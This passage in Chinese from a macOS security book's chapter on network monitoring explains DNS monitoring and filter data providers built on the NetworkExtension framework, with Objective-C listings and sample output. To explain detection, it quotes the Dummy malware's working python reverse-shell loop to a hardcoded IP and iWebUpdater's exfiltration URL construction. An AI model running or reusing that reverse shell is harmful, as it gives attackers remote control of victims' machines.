为了克服这个缺点,我们可以持续监控网络,寻找感染的迹象。收集到的网络数据可以帮助我们随着时间的推移建立正常流量的基准,并为更大的分布式威胁猎捕系统提供输入数据。尽管这些方法比简单的快照工具实现起来更加复杂,但它们提供的网络活动洞察使其成为任何综合恶意软件检测工具中不可或缺的组成部分。

本书不会涉及使用框架进行完整数据包捕获的内容,因为捕获和处理这些数据需要大量资源,因此通常最好直接在网络上而不是在主机上进行这些捕获。此外,完整数据包捕获通常对恶意软件检测来说是过度的。通常,仅仅识别一些未经授权的网络活动,如监听套接字或连接到未知的 API 端点,就足以引起对某个进程(尤其是那些未被识别的进程)的怀疑,并揭示感染。

注意

要使用 NetworkExtension 框架工具,我们必须添加适当的授权,并且必须使用能够在运行时授权这些授权的配置文件构建代码。我不会在这里详细讲解这个过程,因为重点是如何使用框架的核心概念。请参阅第三部分,了解如何获取必要的授权并创建配置文件。

获取定期快照

持续监控网络活动的一个简单方法是重复拍摄当前网络状态的快照。例如,在第四章中,我们使用了苹果的 nettop 工具来显示网络信息。当你运行这个工具时,它似乎会在出现新连接时更新信息。然而,查阅该工具的手册页面会发现,实际上,nettop 并不过是在定期获取网络快照。默认情况下,它每秒拍摄一次快照,尽管你可以使用 -s 命令行选项来更改这个时间间隔。这算是一个真正的网络监控工具吗?不算,但它的方法简单直接,并且假设快照频繁发生,它的监控可能足够全面来检测可疑的网络活动。

为了模拟 nettop,我们可以使用 NetworkStatistics 框架来捕获网络活动的快照,调用其 NStatManagerQueryAllSourcesDescriptions API,如第四章中所讨论的那样。然后,我们可以简单地在定期间隔内重新调用这个 API。清单 7-1 中的代码就是这样做的。

dispatch_queue_t queue = dispatch_queue_create(NULL, NULL); ❶
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, queue); ❷

NSUInteger refreshRate = 10;

dispatch_source_set_timer(source, DISPATCH_TIME_NOW, refreshRate * NSEC_PER_SEC, 0); ❸

dispatch_source_set_event_handler(source, ^{ ❹
    NStatManagerQueryAllSourcesDescriptions(manager, ^{
        // Code here will execute when the query is complete.
    });
});

dispatch_resume(source); ❺ 

清单 7-1:定期捕获网络状态

代码首先创建一个调度队列 ❶ 和一个调度源 ❷。然后,它通过 dispatch_source_set_timer API ❸ 设置调度源的起始时间和刷新率。为了说明,我们指定了 10 秒的刷新率。这个 API 调用要求使用纳秒为单位的刷新率,因此我们将其乘以 NSEC_PER_SEC,这是一个系统常量,表示一秒中的纳秒数。接下来,我们创建一个事件处理程序 ❹,每次调度源刷新时,它将重新调用 NStatManagerQueryAllSourcesDescriptions API。最后,我们调用 dispatch_resume 函数 ❺ 来启动基于快照的监控。现在,让我们来看一下持续监控。

DNS 监控

监控 DNS 流量是检测许多类型恶意软件的有效方法。这个方法很简单:无论恶意软件如何感染受害者的机器,它与域名的任何连接,例如与其指挥与控制服务器的连接,都会生成 DNS 请求和响应。如果我们直接在主机上监控 DNS 流量,我们可以做到以下几点:

识别使用网络的新进程 每当发生此活动时,你应该仔细检查这个新进程。用户经常安装访问网络的新软件,出于合法目的,但如果该项目没有进行认证或持续存在,例如,它可能是恶意的。

提取进程试图解析的域名 如果这个域名看起来可疑(可能因为它是由恶意行为者常用的互联网服务提供商托管的),它可能揭示了恶意软件的存在。此外,保存这些 DNS 请求提供了一个系统活动的历史记录,你可以在安全社区发现新恶意软件时查询这些记录,看看,尽管是事后回溯,但是否曾经被感染。

检测滥用 DNS 作为数据外泄通道的恶意软件 由于防火墙通常允许 DNS 流量,恶意软件可以通过有效的 DNS 请求来外泄数据。

仅监控 DNS 流量比监控所有网络活动更高效,但仍然提供了一种揭露大多数恶意软件的方法。例如,看看我在 2023 年初发现的一个恶意更新程序组件。^(2) 这个二进制文件被命名为 iWebUpdater,它将自己持久安装到 ~/Library/Services/iWebUpdate。然后,它向域 iwebservicescloud.com 发送信息,关于感染主机并下载和安装其他二进制文件。在恶意的 iWebUpdate 二进制文件中,你可以在地址 0x10000f7c2 处找到这个硬编码的域名:

0x000000010000f7c2  db  "https://iwebservicescloud.com/api/v0", 0

在其反汇编中,可以看到恶意软件在构建包含感染主机信息的 URL 时引用了这个地址:

__snprintf_chk(var_38, var_30, 0x0, 0xffffffffffffffff, "%s%s?v=%d&c=%s&u=
%s&os=%s&hw=%s", "https://iwebservicescloud.com/api/v0", r13, 0x2, r12,
byte_100023f50, rcx, rax); 

然后,恶意更新程序通过利用 curl API 尝试连接到 URL。使用流行的网络监控工具 Wireshark,我们可以观察到 DNS 请求和相应的响应(见图 7-1)。

图 7-1:iWebUpdater 解析其更新服务器 IP 地址的网络抓包

尽管防病毒引擎最初没有将该二进制文件标记为恶意,但 iwebservicescloud.com 域名有着长期解析到与恶意行为者相关的 IP 地址的历史。如果我们能够将 DNS 数据追溯到 iWebUpdate 二进制文件(我稍后将展示如何做到这一点),我们就可以发现它来自一个未签名的、持久安装的启动代理。可疑!

作为 DNS 监控强大功能的另一个例子,我们再来仔细看看 3CX 供应链攻击。供应链攻击因其难以检测而臭名昭著,而在这个案例中,苹果无意中对被篡改的 3CX 安装程序进行了公证。尽管传统的防病毒软件最初没有将该应用标记为恶意,但利用 DNS 监控功能的安全工具迅速发现了异常,并开始警告用户,随后用户涌向 3CX 论坛,发布诸如“我收到了一个警告……告诉我 3CX 桌面应用程序正在尝试与一个‘高度可疑’的域进行通信,可能是由攻击者控制的。”^(3)

是否有其他启发式方法能够检测到该攻击?可能有,但即便是苹果的公证系统也未能发现它。幸运的是,DNS 监控工具提供了一种方式,能够检测到被篡改的应用程序正在与一个新的、异常的域进行通信,而补救措施很快就限制了这一本可能会造成巨大影响和广泛传播的网络安全事件。

当然,DNS 监控也有其缺点。最明显的是,它无法帮助你检测那些不解析域名的恶意软件,例如仅仅打开监听套接字进行远程连接的简单后门,或者那些直接连接到 IP 地址的恶意软件。虽然这种恶意软件比较少见,但偶尔会遇到。例如,前面提到的简单 Mac 恶意软件 Dummy,会创建一个反向 shell 连接到硬编码的 IP 地址:

#!/bin/bash
while :
do
    python -c
        'import socket,subprocess,os;
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        s.connect(("185.243.115.230",1337));
        os.dup2(s.fileno(),0);
        os.dup2(s.fileno(),1);
        os.dup2(s.fileno(),2);
        p=subprocess.call(["/bin/sh","-i"]);'
    sleep 5
done 

直接连接到 IP 地址不会生成任何 DNS 流量,因此 DNS 监控无法检测到 Dummy。在这种情况下,你需要一个更全面的过滤数据提供者,它能够监控所有流量。本章稍后我会展示如何使用相同的框架和许多与构建简单 DNS 监控工具相同的 API 来构建这样的工具。

使用 NetworkExtension 框架

在 macOS 上监控网络流量曾经需要编写网络内核扩展。苹果随后弃用了这种方法,以及所有第三方内核扩展,并引入了系统扩展来替代它。系统扩展在用户模式下运行,更加安全,并提供了一个现代化的机制来扩展或增强 macOS 功能。^(4)

为了扩展核心网络功能,苹果还引入了用户模式的NetworkExtension框架。^(5) 通过构建利用该框架的系统扩展,你可以实现与现已弃用的网络内核扩展相同的功能,但这是从用户模式实现的。

系统扩展功能强大,因此苹果要求你在部署扩展之前满足若干先决条件。^(6)

  • 你必须将扩展打包在应用程序包的Contents/Library/SystemExtensions/ 目录中。

  • 包含扩展的应用程序必须获得com.apple.developer.system-extension.install 权限,并且你必须使用一个配置文件来构建它,这个配置文件提供了在运行时授权该权限的方法。

  • 包含扩展的应用程序必须使用 Apple 开发者 ID 签名,并且需要进行公证。

  • 包含扩展的应用程序必须安装在合适的应用程序目录中。

  • 在非托管环境中,macOS 需要明确的用户批准才能加载任何系统扩展。

我将在第十三章中解释如何满足这些要求。正如我在本书的介绍中提到的,你可以关闭系统完整性保护(SIP)和 Apple 移动文件完整性(AMFI)来规避其中的一些要求。然而,禁用这些保护会显著降低系统的整体安全性,因此我建议仅在虚拟机中或专门用于开发或测试的系统上这样做。

接下来,我将简要介绍如何以编程方式安装和加载系统扩展,然后使用NetworkExtension框架监控 DNS 流量。此处提供了相关的代码片段,您可以在 Objective-See 的开源DNSMonitor项目中找到完整的代码,详细内容见第十三章。^(7)

注意

本节提到的几个 API 最近已被 Apple 废弃,例如在 macOS 15 中。但在本书出版时,它们仍然保留功能。如果您正在为较旧版本的 macOS 开发,仍然需要使用这些 API 以保持兼容性。此外,某些已废弃的函数,如来自 Applelibresolv库的函数,缺乏直接替代品,因此在必要时继续使用它们是有意义的。

激活系统扩展

Apple 要求您将任何系统扩展放置在应用程序包中,因此,安装或激活系统扩展的代码也必须位于应用程序中。列表 7-2 展示了如何以编程方式激活此类扩展。

#define EXT_BUNDLE_ID @"com.example.dnsmonitor.extension"

OSSystemExtensionRequest* request = [OSSystemExtensionRequest
activationRequestForExtension:EXT_BUNDLE_ID
queue:dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0)]; ❶

request.delegate = `<object that conforms to the OSSystemExtensionRequestDelegate protocol>`; ❷

[OSSystemExtensionManager.sharedManager submitRequest:request]; ❸ 

列表 7-2:安装系统扩展

包含扩展的应用程序应首先调用 OSSystemExtensionRequest 类的 activationRequestForExtension:queue:方法❶,该方法会创建一个激活系统扩展的请求。^(8) 该方法接受扩展的 bundle ID 和一个调度队列,系统会使用该队列来调用委托方法。在提交请求给系统扩展管理器触发激活之前,我们必须先设置一个委托❷。

我们来详细谈谈委托。OSSystemExtensionRequest 对象需要一个委托对象,该对象应符合 OSSystemExtensionRequestDelegate 协议,并实现各种委托方法,以处理激活过程中发生的回调以及成功和失败的情况。在激活扩展的过程中,操作系统会自动调用这些委托方法。以下是根据 Apple 文档对这些必需委托方法的简要概述:^(9)

requestNeedsUserApproval: 在系统确定需要用户批准才能激活扩展时调用

request:actionForReplacingExtension:withExtension: 在系统中已安装扩展的另一个版本时调用

request:didFailWithError: 在激活请求失败时调用

request:didFinishWithResult: 在激活请求完成时调用

您的应用程序必须实现这些必需的委托方法。否则,当系统尝试在激活扩展时调用它们时,应用程序将崩溃。

好消息是,实施这些方法并不复杂。例如,requestNeedsUserApproval: 方法可以简单地返回,request:didFailWithError: 方法也可以如此(尽管你可能希望用它来记录错误信息)。request:actionForReplacingExtension:withExtension: 方法可以返回 OSSystemExtensionReplacementActionReplace 的值,告诉操作系统替换任何旧的扩展实例。

一旦用户批准了扩展,系统将调用 request:didFinishWithResult: 委托方法。如果传入该方法的结果是 OSSystemExtensionRequestCompleted,则表示扩展已成功激活。此时,你可以继续启用网络监控。

启用监控

假设系统扩展成功激活,现在你可以指示系统开始通过扩展路由所有 DNS 流量。一个单例的 NEDNSProxyManager 对象可以启用此监控,如列表 7-3 所示。

#define EXT_BUNDLE_ID @"com.example.dnsmonitor.extension"

[NEDNSProxyManager.sharedManager loadFromPreferencesWithCompletionHandler:^(NSError*
_Nullable error) { ❶
    NEDNSProxyManager.sharedManager.localizedDescription = @"DNS Monitor"; ❷

    NEDNSProxyProviderProtocol* protocol = [[NEDNSProxyProviderProtocol alloc] init]; ❸
    protocol.providerBundleIdentifier = EXT_BUNDLE_ID;
    NEDNSProxyManager.sharedManager.providerProtocol = protocol;

    NEDNSProxyManager.sharedManager.enabled = YES; ❹

    [NEDNSProxyManager.sharedManager
    saveToPreferencesWithCompletionHandler:^(NSError* _Nullable error) { ❺
        // If there is no error, the DNS proxy provider is running.
    }];
}]; 

列表 7-3:通过 NEDNSProxyManager 对象启用 DNS 监控

首先,我们必须通过调用 NEDNSProxyManager 类的共享管理器的 loadFromPreferencesWithCompletionHandler: 方法 ❶ 来加载当前的 DNS 代理配置。这个方法只有一个参数,即一个块(block),该块会在加载完偏好设置后调用。

调用回调后,我们可以配置偏好设置以启用 DNS 监控。首先,我们设置一个描述 ❷,该描述将显示在操作系统的系统设置应用中,系统设置应用可以展示所有激活的扩展。然后,我们分配并初始化一个 NEDNSProxyProviderProtocol 对象,并设置其捆绑 ID ❸。接下来,我们通过将 NEDNSProxyManager 对象的共享管理器的 enabled 实例变量设置为 YES ❹ 来表示我们已开启 DNS 监控。

最后,我们调用共享管理器的 saveToPreferencesWithCompletionHandler 方法来保存更新后的配置信息 ❺。一旦调用此方法,系统扩展应已完全激活,操作系统将开始通过它代理 DNS 流量。

编写扩展

当我们请求激活系统扩展并开启网络扩展时,系统会将扩展从应用的捆绑包复制到一个安全的、根用户拥有的目录中,/Library/SystemExtension。在验证扩展后,系统会将其加载并作为独立进程执行,且运行时拥有根权限。

现在我们已经从应用内激活了扩展,让我们来看看扩展本身的代码。列表 7-4 开始了扩展的部分内容。

int main(int argc, const char* argv[]) {
    [NEProvider startSystemExtensionMode];
    ...
 dispatch_main();
} 

列表 7-4:网络扩展的初始化逻辑

在扩展的主函数中,我们调用 NEProvider 的 startSystemExtensionMode 方法来“启动网络扩展机制”。^(10) 我还建议调用 dispatch_main,否则主函数将返回,导致扩展退出。

在幕后,startSystemExtensionMode 方法会使 NetworkExtension 框架实例化在扩展的 Info.plist 文件中,NetworkExtension 字典下的 NEProviderClasses 键指定的类:

<key>NetworkExtension</key>
<dict>
    ...
    <key>NEProviderClasses</key>
    <dict>
        <key>com.apple.networkextension.dns-proxy</key>
        <string>DNSProxyProvider</string>
    </dict>
</dict> 

你必须创建这个类,并随意命名。这里,我们选择了名称 DNSProxyProvider,因为我们关心的是代理 DNS 流量,所以我们使用了键值 com.apple.networkextension.dns-proxy。此类必须继承自 NEProviderClass 类或其子类之一,如 NEDNSProxyProvider

@interface DNSProxyProvider : NEDNSProxyProvider
    ...
@end 

此外,该类必须实现 NetworkExtension 框架将调用的相关委托方法,例如处理 DNS 网络事件。这些委托方法包括以下内容:

startProxyWithOptions:completionHandler:
stopProxyWithReason:completionHandler:
handleNewFlow: 

startstop 方法为你提供了执行必要初始化或清理工作的机会。你可以在 NEDNSProxyProvider.h 文件中或通过苹果开发者文档中的 NEDNSProxyProvider 类了解更多信息。^(11)

NetworkExtension 框架会自动调用 handleNewFlow: 委托方法来传递网络数据,因此该方法应包含 DNS 监控器的核心逻辑。该方法会在有 flow 时被调用,flow 表示在源和目标之间传输的网络数据单元。

NEAppProxyFlow 对象封装了传递给 handleNewFlow: 的流,以提供网络数据的接口。由于 DNS 流量通常通过 UDP 传输,因此这个示例仅专注于 UDP 流,UDP 流的类型是 NEAppProxyUDPFlow,它是 NEAppProxyFlow 的子类。在 第十三章 中,我将详细介绍代理 UDP 流量的步骤,但现在我们只考虑与 DNS 数据包交互的过程。

解析 DNS 请求

我们可以从一个 NEAppProxyUDPFlow 流对象中读取,以获取特定 DNS 请求(或在 DNS 术语中称为 question)的报文列表。每个数据报文都存储在一个 NSData 对象中;Listing 7-5 解析并打印这些报文。

#import <dns_util.h>
...

[flow readDatagramsWithCompletionHandler:^(
NSArray* datagrams, NSArray* endpoints, NSError* error) {
    for(int i = 0; i < datagrams.count; i++)  {
        NSData* packet = datagrams[i];

        dns_reply_t* parsedPacket = dns_parse_packet(packet.bytes, (uint32_t)packet.length); ❶
        dns_print_reply(parsedPacket, stdout, 0xFFFF); ❷
        ...
        dns_free_reply(parsedPacket); ❸
    }
    ...
}]; 

Listing 7-5:读取并解析 DNS 数据报文

我们通过 dns_parse_packet 函数❶ 解析数据包,该函数位于苹果的 libresolv 库中。然后我们通过调用 dns_print_reply 函数❷ 打印数据包。最后,通过 dns_free_reply 函数❸ 释放它。

当然,你可能希望你的程序检查 DNS 请求,而不仅仅是打印它。你可以检查由 dns_parse_packet 函数返回的解析后的 DNS 记录,该记录的类型为 dns_reply_t。例如,Listing 7-6 展示了如何访问请求的完全限定域名(FQDN)。

NSMutableArray* questions = [NSMutableArray array];

for(uint16_t i = 0; i < parsedPacket->header->qdcount; i++) { ❶
    NSMutableDictionary* details = [NSMutableDictionary dictionary];
    dns_question_t* question = parsedPacket->question[i];

    details[@"Question Name"] =
    [NSString stringWithUTF8String:question->name]; ❷

    details[@"Question Class"] =
 [NSString stringWithUTF8String:dns_class_string(question->dnsclass)];

    details[@"Question Type"] =
    [NSString stringWithUTF8String:dns_type_string(question->dnstype)];

    [questions addObject:details]; ❸
} 

Listing 7-6:从解析后的 DNS 请求中提取感兴趣的成员

我们利用 DNS 数据包的 qdcount 和 question 成员来遍历每个问题 ❶。对于每个问题,我们提取它的名称(要解析的域名)❷、其类别和类型;将它们转换为字符串(通过 Apple 的 dns_class_string);并将它们保存到字典对象中。最后,我们将每个问题提取的详细信息字典保存到一个数组 ❸ 中。

现在,如果你通过 nslookup 进行查询,例如查询 objective-see.org,DNS 监控代码将捕获到请求:

# **/Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor**
{
  "Process" : {
    "processPath" : "\/usr\/bin\/nslookup",
    "processSigningID" : "com.apple.nslookup",
    "processID" : 5295
  },
  "Packet" : {
    "Opcode" : "Standard",
    "QR" : "Query",
    "Questions" : [
      {
        "Question Name" : "objective-see.org",
        "Question Class" : "IN",
        "Question Type" : "A"
      }
    ],
    "RA" : "No recursion available",
    "Rcode" : "No error",
    "RD" : "Recursion desired",
    "XID" : 36565,
    "TC" : "Non-Truncated",
    "AA" : "Non-Authoritative"
  }
} 

接下来,我们将处理 DNS 回应(称为 答案)。

解析 DNS 回应

利用 NEDNSProxyProvider 类的 DNS 监控器本质上是一个代理,它代理本地请求和远程回应。这意味着我们必须读取本地流的 DNS 请求,然后打开远程连接并将请求发送到其目标。为了访问任何回应,我们使用 nw_connection_receive API 从远程端点读取数据。Listing 7-7 在远程端点上调用此 API,然后在其回调块中调用 dns_parse_packet 来解析回应。

nw_connection_receive(connection, 1, UINT32_MAX,
^(dispatch_data_t content, nw_content_context_t context,
bool is_complete, nw_error_t receive_error) {
    NSData* packet = (NSData*)content;
    dns_reply_t* parsedPacket =
    dns_parse_packet(packet.bytes, (uint32_t)packet.length);

    dns_free_reply(parsedPacket);
    ...
}); 

Listing 7-7:接收和解析 DNS 回应

尽管我们可以使用 dns_print_reply 函数直接打印回应,但我们更倾向于提取答案。你会注意到,这段代码(见 Listing 7-8)与提取问题的代码片段类似。

NSMutableArray* answers = [NSMutableArray array];

for(uint16_t i = 0; i < parsedPacket->header->ancount; i++) { ❶
    NSMutableDictionary* details = [NSMutableDictionary dictionary];
    dns_resource_record_t* answer = parsedPacket->answer[i]; ❷

    details[@"Answer Name"] = [NSString stringWithUTF8String:answer->name];
    details[@"Answer Class"] = [NSString stringWithUTF8String:dns_class_string(answer->
    dnsclass)];
    details[@"Answer Type"] = [NSString stringWithUTF8String:dns_type_string(answer->dnstype)];
    switch(answer->dnstype) { ❸
        case ns_t_a: ❹
            details[@"Host Address"] = [NSString stringWithUTF8String:inet_ntoa(answer->
            data.A->addr)]; ❺
            break;
        ...
    }
    [answers addObject:details];
} 

Listing 7-8:从解析后的 DNS 回应中提取感兴趣的成员

但在这里,我们访问 ancount ❶ 和 answer 成员 ❷,然后必须添加额外的逻辑来提取回应的内容。例如,我们检查它的类型 ❸,如果是 IPv4 地址(ns_t_a)❹,则通过 inet_ntoa 函数 ❺ 转换它。

如果我们运行 Objective-See 的 DNSMonitor,它包含了这段代码并且已获得适当的授权和认证,我们可以看到它会捕获到我们之前查询 objective-see.org 的答案:

# **/Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor**
{
  "Process" : {
 "processPath" : "\/usr\/bin\/nslookup",
    "processSigningID" : "com.apple.nslookup",
    "processID" : 51021
  },
  "Packet" : {
    "Opcode" : "Standard",
    "QR" : "Reply",
    "Questions" : [
       {
        "Question Name" : "objective-see.org",
        "Question Class" : "IN",
        "Question Type" : "A"
       }
    ],
    "Answers" : [
      {
        "Name" : "objective-see.org",
        "Type" : "IN",
        "Host Address" : "185.199.110.153",
        "Class" : "IN"
      },
      {
        "Name" : "objective-see.org",
        "Type" : "IN",
        "Host Address" : "185.199.109.153",
        "Class" : "IN"
      },
      ...
    ],
    ...
  }
} 

数据包类型是包含原始问题和答案的回应。我们还了解到,域名 objective-see.org 映射到多个 IP 地址。当与实际恶意软件一起运行时,这些信息可以非常有用。以前面提到的 iWebUpdater 为例。当它连接到 iwebservicescloud.com 时,它会生成一个 DNS 请求和回应:

# **/Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor**
 {
  "Process" : {
    "processPath” : "\/Users\/user\/Library\/Services\/iWebUpdate",
    "processSigningID" : nil,
    "processID" : 51304
   },
  "Packet" : {
    "Opcode" : "Standard",
    "QR" : "Query",
    "Questions" : [
      {
        "Question Name" : "iwebservicescloud.com",
        "Question Class" : "IN",
        "Question Type" : "A"
 }
    ],
    ...
  }
},{
  "Process" : {
    "processPath" : "\/Users\/user\/Library\/Services\/iWebUpdate",
    "processSigningID" : nil,
    "processID" : 51304
  },
  "Packet" : {
    "Opcode" : "Standard",
    "QR" : "Reply",
    "Questions" : [
      {
        "Question Name" : "iwebservicescloud.com",
        "Question Class" : "IN",
        "Question Type" : "A    "
      }
    ],
    "Answers" : [
      {
        "Name" : "iwebservicescloud.com",
        "Type" : "IN",
        "Host Address" : "173.231.184.122",
        "Class" : "IN"
      }
    ],
    ...
  }
} 

DNS 监控代码能够检测到解析请求和回应。将其中任何一个传递到外部威胁情报平台(如 VirusTotal),应该能显示该域名有历史记录解析到与恶意活动相关的 IP 地址(包括它解析到的具体 IP 地址)。

精明的读者可能已经注意到,输出结果还识别出 iWebUpdater 是发出此请求的进程。现在我们来看看如何做。

识别责任进程

确定负责 DNS 请求的进程对于检测恶意软件至关重要,但非主机式的 DNS 监控无法提供此信息。例如,来自受信任系统进程的请求很可能是安全的,而来自某些持久的、未经过 notarize 处理的进程(如 iWebUpdate)的请求则应当受到密切审查。

现在,我将向你展示如何使用 NetworkExtension 框架提供的信息获取负责进程的 ID。通过 handleNewFlow: 委托方法传递到扩展中的流对象包含一个名为 metaData 的实例变量,其类型为 NEFlowMetaData。查看 NEFlowMetaData.h 文件(位于 NetworkExtension.framework/Versions/A/Headers/)可以发现,它包含一个名为 sourceAppAuditToken 的属性,存储着负责进程的审计令牌。

从这个审计令牌中,我们可以提取负责进程的 ID,并通过 SecCode* APIs 安全地获取其路径。列表 7-9 实现了这一技术。

CFURLRef path = NULL;
SecCodeRef code = NULL;
audit_token_t* auditToken = (audit_token_t*)flow.metaData.sourceAppAuditToken.bytes; ❶

pid_t pid = audit_token_to_pid(*auditToken); ❷

SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)(@{(_bridge
NSString*)kSecGuestAttributeAudit:flow.metaData.sourceAppAuditToken}), kSecCSDefaultFlags,
&code); ❸

SecCodeCopyPath(code, kSecCSDefaultFlags, &path); ❹

// Do something with the process ID and path.

CFRelease(path);
CFRelease(code); 

列表 7-9:从网络流中获取负责进程的 ID 和路径

首先,我们初始化一个指向审计令牌的指针。如前所述,sourceAppAuditToken 包含以 NSData 对象形式存储的令牌。为了获取指向审计令牌实际字节的指针,我们使用 NSData 类的 bytes 属性 ❶。通过这个指针,我们可以通过 audit_token_to_pid 函数提取相关的进程 ID ❷。接下来,我们从审计令牌中获取代码引用 ❸,然后调用 SecCodeCopyPath 函数来获取进程的路径 ❹。

值得注意的是,SecCodeCopyGuestWithAttributes API 可能会失败,例如,如果进程已经自我删除。在这种情况下,虽然比较罕见,但可能表明这是一个恶意进程。无论如何,你必须依赖其他不那么确定的方法来获取进程的路径,比如检查进程的参数,这些参数可能会被偷偷修改。

从流中,我们还可以提取负责进程的代码签名标识符,这有助于将进程分类为良性进程或需要进一步调查的进程。这个标识符位于流的 sourceAppSigningIdentifier 属性中。列表 7-10 提取了它。

NSString* signingID = flow.metaData.sourceAppSigningIdentifier;

列表 7-10:从网络流中提取代码签名信息

如本章早些时候所述,我迄今为止描述的 DNS 监控进程无法检测到直接连接到 IP 地址的恶意软件,例如 Dummy。为了检测这些威胁,让我们扩展监控能力,检查所有网络流量。 ### 数据过滤提供者

macOS 提供的最强大网络监控功能之一就是过滤数据提供者。这些网络扩展实现于系统扩展中,并建立在NetworkExtension框架之上,可以观察并过滤所有网络流量。你可以利用它们主动阻止恶意网络流量,或者被动地观察所有网络流量,并识别可能的可疑进程,以进一步调查。

有趣的是,当 Apple 引入过滤数据提供者以及其他网络扩展时,它最初决定将各种系统组件生成的流量排除在过滤之外,尽管这些流量之前是通过现在已废弃的网络内核扩展进行路由的。这意味着,之前能观察到所有网络流量的安全工具(如网络监视器和防火墙)现在对其中的一部分流量视而不见。不出所料,滥用这些被豁免的系统组件变得很容易,为绕过任何基于 Apple 网络扩展构建的第三方安全工具提供了一种隐蔽的方法。在我展示了这个绕过方法后,媒体纷纷报道这一事件,^(12),公众的强烈反应促使 Apple 重新审视其做法。最终,库比蒂诺的智者们取得了胜利;如今,macOS 上的所有网络流量都会通过任何已安装的过滤数据提供者进行路由。^(13)

注意

与 DNS 监视器一样,我们将在这里实现的过滤数据提供者网络扩展必须满足“使用 NetworkExtension 框架”中讨论的前提条件,见第 159 页。

本节中的代码大部分来自 Objective-See 的流行开源防火墙 LuLu,由我本人编写。你可以在其 GitHub 代码库中找到 LuLu 的完整代码,https://github.com/objective-see/LuLu

启用过滤

让我们首先通过编程方式激活一个实现过滤数据提供者的网络扩展。这个过程与激活实现 DNS 监控的网络扩展略有不同;我们将使用 NEFilterManager 对象,而不是 NEDNSProxyManager 对象。

在主应用程序中,使用“激活系统扩展”中描述的过程,在第 160 页激活扩展,然后按照列表 7-11 所示启用过滤。

[NEFilterManager.sharedManager loadFromPreferencesWithCompletionHandler:^(NSError*
_Nullable error) { ❶
    NEFilterProviderConfiguration* config = [[NEFilterProviderConfiguration alloc] init]; ❷

    config.filterPackets = NO; ❸
    config.filterSockets = YES;

    NEFilterManager.sharedManager.providerConfiguration = config; ❹

 NEFilterManager.sharedManager.enabled = YES;

    [NEFilterManager.sharedManager
    saveToPreferencesWithCompletionHandler:^(NSError* _Nullable error) { ❺
        // If there is no error, the filter data provider is running.
    }];
}]; 

列表 7-11:使用 NEFilterManager 对象启用过滤

首先,我们访问 NEFilterManager 共享管理器对象,并调用它的 loadFromPreferencesWithCompletionHandler: 方法 ❶。完成后,我们初始化一个 NEFilterProviderConfiguration 对象 ❷。然后我们设置两个配置选项 ❸。由于我们不打算过滤数据包,所以将此选项设置为 NO。另一方面,我们希望过滤套接字活动,因此将其设置为 YES。代码随后保存这个配置并将 NEFilterManager 共享管理器对象设置为启用 ❹。最后,为了激活带有此配置的网络扩展,代码调用共享管理器的 saveToPreferencesWithCompletionHandler: 方法 ❺。这个过程完成后,过滤数据提供者应该开始运行。

编写扩展

与 DNS 监视器类似,过滤数据提供者是一个独立的二进制文件,必须打包在捆绑包的 Contents/Library/SystemExtensions/ 目录中。加载后,它应该调用 NEProvider 的 startSystemExtensionMode: 方法。在扩展的 Info.plist 文件中,我们添加一个字典,通过键 NEProviderClasses 引用,包含一个键值对 (列表 7-12)。

<key>NEProviderClasses</key>
<dict>
    <key>com.apple.networkextension.filter-data<\d>/key>
    <string>FilterDataProvider</string>
</dict>
... 

列表 7-12:扩展的 Info.plist 文件,指定扩展的 NEProviderClasses 类

我们将键设置为 com.apple.networkextension.filter-data,值设置为我们扩展中继承自 NEFilterDataProvider 的类的名称。在此示例中,我们将类命名为 FilterDataProvider,并按此方式声明它 (列表 7-13)。

@interface FilterDataProvider : NEFilterDataProvider
    ...
@end 

列表 7-13:FilterDataProvider 类的接口定义

一旦过滤数据提供者扩展启动并运行,NetworkExtension框架将自动调用此类的 startFilterWithCompletionHandler 方法,在这里你可以指定你想要过滤的流量。列表 7-14 中的代码过滤所有协议,但仅限于出站流量,这比入站流量更有助于检测未经授权或可能是恶意软件的新程序。

-(void)startFilterWithCompletionHandler:(void (^)(NSError* error))completionHandler {
    NENetworkRule* networkRule = [[NENetworkRule alloc] initWithRemoteNetwork:nil
    remotePrefix:0 localNetwork:nil localPrefix:0 protocol:NENetworkRuleProtocolAny
    direction:NETrafficDirectionOutbound]; ❶

    NEFilterRule* filterRule =
    [[NEFilterRule alloc] initWithNetworkRule:networkRule action:NEFilterActionFilterData]; ❷

    NEFilterSettings* filterSettings =
    [[NEFilterSettings alloc] initWithRules:@[filterRule] defaultAction:NEFilterActionAllow]; ❸

    [self applySettings:filterSettings completionHandler:^(NSError* _Nullable error) { ❹
        // If no error occurred, the filter data provider is now filtering.
    }];
    ...
} 

列表 7-14:设置过滤规则以指定哪些流量应通过扩展进行路由

首先,代码创建了一个 NENetworkRule 对象,将协议过滤选项设置为任何,方向过滤选项设置为出站 ❶。然后,使用这个 NENetworkRule 对象创建一个 NEFilterRule 对象。它还指定了 NEFilterActionFilterData 动作,告诉NetworkExtension框架我们想要过滤数据 ❷。接下来,创建了一个 NEFilterSettings 对象,使用我们刚刚创建的过滤规则,这个规则匹配所有出站流量。指定 NEFilterActionAllow 作为默认动作意味着任何不匹配此过滤规则的流量将被允许 ❸。最后,它应用这些设置开始过滤 ❹。

现在,任何时候系统上的程序发起一个新的外向网络连接,系统会自动调用我们过滤器类中的handleNewFlow:代理方法。虽然它的名字相同,但这个代理方法与我们用于 DNS 监控的那个方法有所不同。它接受一个参数(一个包含流信息的 NEFilterFlow 对象),并且在返回时,必须指示系统如何处理该流。它通过一个 NEFilterNewFlowVerdict 对象来实现,这个对象可以指定裁定,如允许(allowVerdict)、丢弃(dropVerdict)或暂停(pauseVerdict)。因为我们专注于将流与其负责的进程绑定,所以我们总是允许流通过(Listing 7-15)。

-(NEFilterNewFlowVerdict*)handleNewFlow:(NEFilterFlow*)flow {
    ...
    return [NEFilterNewFlowVerdict allowVerdict];
} 

Listing 7-15: 从 handleNewFlow:方法返回裁定

如果我们正在构建一个防火墙,我们将查阅防火墙的规则,或者在允许或阻止每个流之前提醒用户。 #### 查询流

通过查询流,我们可以提取诸如其远程端点和负责生成它的进程等信息。首先,让我们打印出流对象。例如,下面是一个由 curl 生成的流,用于尝试连接到objective-see.org

flow:
